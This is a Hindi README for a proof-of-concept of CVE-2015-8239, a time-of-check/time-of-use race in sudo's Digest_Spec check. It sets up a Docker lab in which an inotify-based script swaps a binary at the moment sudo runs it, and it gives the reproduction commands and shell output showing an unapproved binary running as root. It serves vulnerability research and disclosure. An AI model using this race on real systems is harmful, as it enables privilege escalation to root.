
Digest_Spec TOCTOU POCAlyssa Milburn (https://twitter.com/noopwafel) ने sudo में Digest_Spec सेटिंग के उपयोग करने पर एक TOCTOU रेस कंडीशन बग की खोज की। Digest_Spec सेटिंग का उपयोग किसी उपयोगकर्ता को किसी बाइनरी को sudo करने की अनुमति देने के लिए किया जा सकता है यदि और केवल यदि उसका हैश एक निर्धारित मान से मेल खाता हो। इस सुविधा के बारे में अधिक जानकारी के लिए man sudoers देखें और Digest_Spec खोजें, तथा इस बग के बारे में अधिक जानकारी के लिए http://noopwafel.net/notes/2015/sudo-digest-race-condition.html देखें जिसे Alyssa ने खोजा था। इस समस्या को CVE-2015-8239 निर्दिष्ट किया गया था।
इस समस्या को man sudoers में रेस कंडीशन की संभावना के बारे में चेतावनी देने वाले दस्तावेज़ीकरण को जोड़कर, और sudo में कुछ fexecve() जादू जोड़कर कम किया गया था ताकि कुछ प्रकार के फ़ाइल संशोधनों को प्रभावी होने से रोका जा सके।
दिलचस्प बात यह है कि cve-assign ने https://seclists.org/oss-sec/2015/q4/256 पर निम्नलिखित कहा:
As far as we know, the Digest_Spec feature can be useful if the user
invoking sudo doesn't have write access to the program file, but a
second (and potentially untrusted) user does have write access to the
program file. In the envisioned scenario, the second user is not
allowed to use sudo, the second user has no way to predict when anyone
else may use sudo, and the second user cannot use their write access
often. Thus, if the second user attempts a file-replacement attack,
the attack will almost certainly occur at an ineffective instant of
time, and the Digest_Spec feature will successfully prevent the
attacker's desired outcome.
यह POC दर्शाता है कि यह कथन आवश्यक रूप से सत्य नहीं है, बशर्ते कि "लेखक" उपयोगकर्ता सिस्टम पर स्थायी कोड निष्पादित कर सके। "लेखक" उपयोगकर्ता यह पता लगाने के लिए inotify का लाभ उठा सकता है कि "निष्पादक" उपयोगकर्ता sudo का उपयोग करके फ़ाइल को निष्पादित कर रहा है और उस समय फ़ाइल प्रतिस्थापन हमले का प्रयास कर सकता है।
यह प्रोजेक्ट एक Docker इमेज बनाता है जो:
/opt/sudoable पर एक फ़ाइल है जो editor उपयोगकर्ता द्वारा लिखने योग्य है, और executor उपयोगकर्ता द्वारा sudo करने योग्य है यदि और केवल यदि इसका SHA256 हैश किसी विशेष मान से मेल खाता है/opt/hello पर एक फ़ाइल है (वह "अच्छी" फ़ाइल जिसका SHA256 हैश sudoers में बेक किया गया है) और /opt/goodbye पर एक फ़ाइल है (एक "दुष्ट" फ़ाइल)/opt केवल root उपयोगकर्ता द्वारा लिखने योग्य है (और इस प्रकार editor उपयोगकर्ता /opt/sudoable की सामग्री को बदल सकता है लेकिन फ़ाइल सिस्टम स्तर पर फ़ाइल स्वैप ऑपरेशन नहीं कर सकता)/home/editor/exploit/exploit.py पर एक inotify-आधारित TOCTOU एक्सप्लॉइटजब /home/editor/exploit/exploit.py को editor उपयोगकर्ता द्वारा निष्पादित किया जाता है, तो फ़ाइलसिस्टम घटनाओं की निगरानी के लिए inotify का उपयोग किया जाता है। जब /opt/sudoable फ़ाइल तक पहुँचा जाता है, तो इसे /opt/goodbye से बदल दिया जाता है। फ़ाइल बंद होने के बाद इसे /opt/hello से बदल दिया जाता है ताकि चीजों को "सामान्य" स्थिति में छोड़ा जा सके।
यह मानते हुए कि यह रेस तब सफल होती है जब executor उपयोगकर्ता sudo /opt/sudoable करता है (जो मेरी मशीन पर अधिकांश समय होता है), editor उपयोगकर्ता executor उपयोगकर्ता को sudoers में Digest_Spec मान के रूप में निर्दिष्ट SHA256 हैश की परवाह किए बिना, root के रूप में एक दुर्भावनापूर्ण बाइनरी निष्पादित करने का कारण बन सकता है।
make all चलाएँ
./instantiate.sh करेंtmux new-session चलाएँ और पेन को विभाजित करें (Ctrl+b फिर "; पेन स्विच करने के लिए Ctrl+b फिर ऊपर/नीचे का उपयोग करें)sudo -u executor sudo /opt/sudoable करें और आउटपुट Hello uid=0 देखेंsudo -u editor cp /opt/goodbye /opt/sudoable करेंsudo -u executor sudo /opt/sudoable करें और देखें कि आपसे पासवर्ड मांगा गया है (अर्थात डाइजेस्ट बेमेल के कारण sudo ऑपरेशन विफल हुआ)sudo -u editor /home/editor/exploit/exploit.py करेंsudo -u executor sudo /opt/sudoable कुछ बार करें और कभी-कभी आउटपुट देखेंऊपरी पेन:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Hello uid=0
निचला पेन:
root@c600efec2da8:/# sudo -u editor cp /opt/goodbye /opt/sudoable
ऊपरी पेन:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for executor:
निचला पेन:
root@c600efec2da8:/# sudo -u editor /home/editor/exploit/exploit.py
ऊपरी पेन:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for executor:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
sudo: unable to execute /opt/sudoable: Text file busy
किन मामलों में fexecve() शमन वास्तव में प्रभावी है? यदि किसी उपयोगकर्ता के पास sudo करने योग्य फ़ाइल पर लिखने की पहुँच है लेकिन उस निर्देशिका पर नहीं जिसमें वह है, तो वे उस फ़ाइल को संशोधित कर सकते हैं जो sudo द्वारा खोली गई है। यदि उपयोगकर्ता के पास निर्देशिका पर लिखने की पहुँच है लेकिन फ़ाइल पर नहीं, तो वे फ़ाइल को हटाकर उसके स्थान पर पुनः बना सकते हैं ताकि वे इसे संशोधित कर सकें, और हम फिर से शुरुआत में आ जाते हैं।
Luke (https://twitter.com/lukejahnke) का धन्यवाद जिन्होंने मुझे Digest_Spec सेटिंग के बारे में बताया, कुछ विचारों पर चर्चा की और एक स्वच्छ क्रॉस-यूज़र POC के लिए inotify का उपयोग करने के बारे में सोचा।
Goodbye uid=0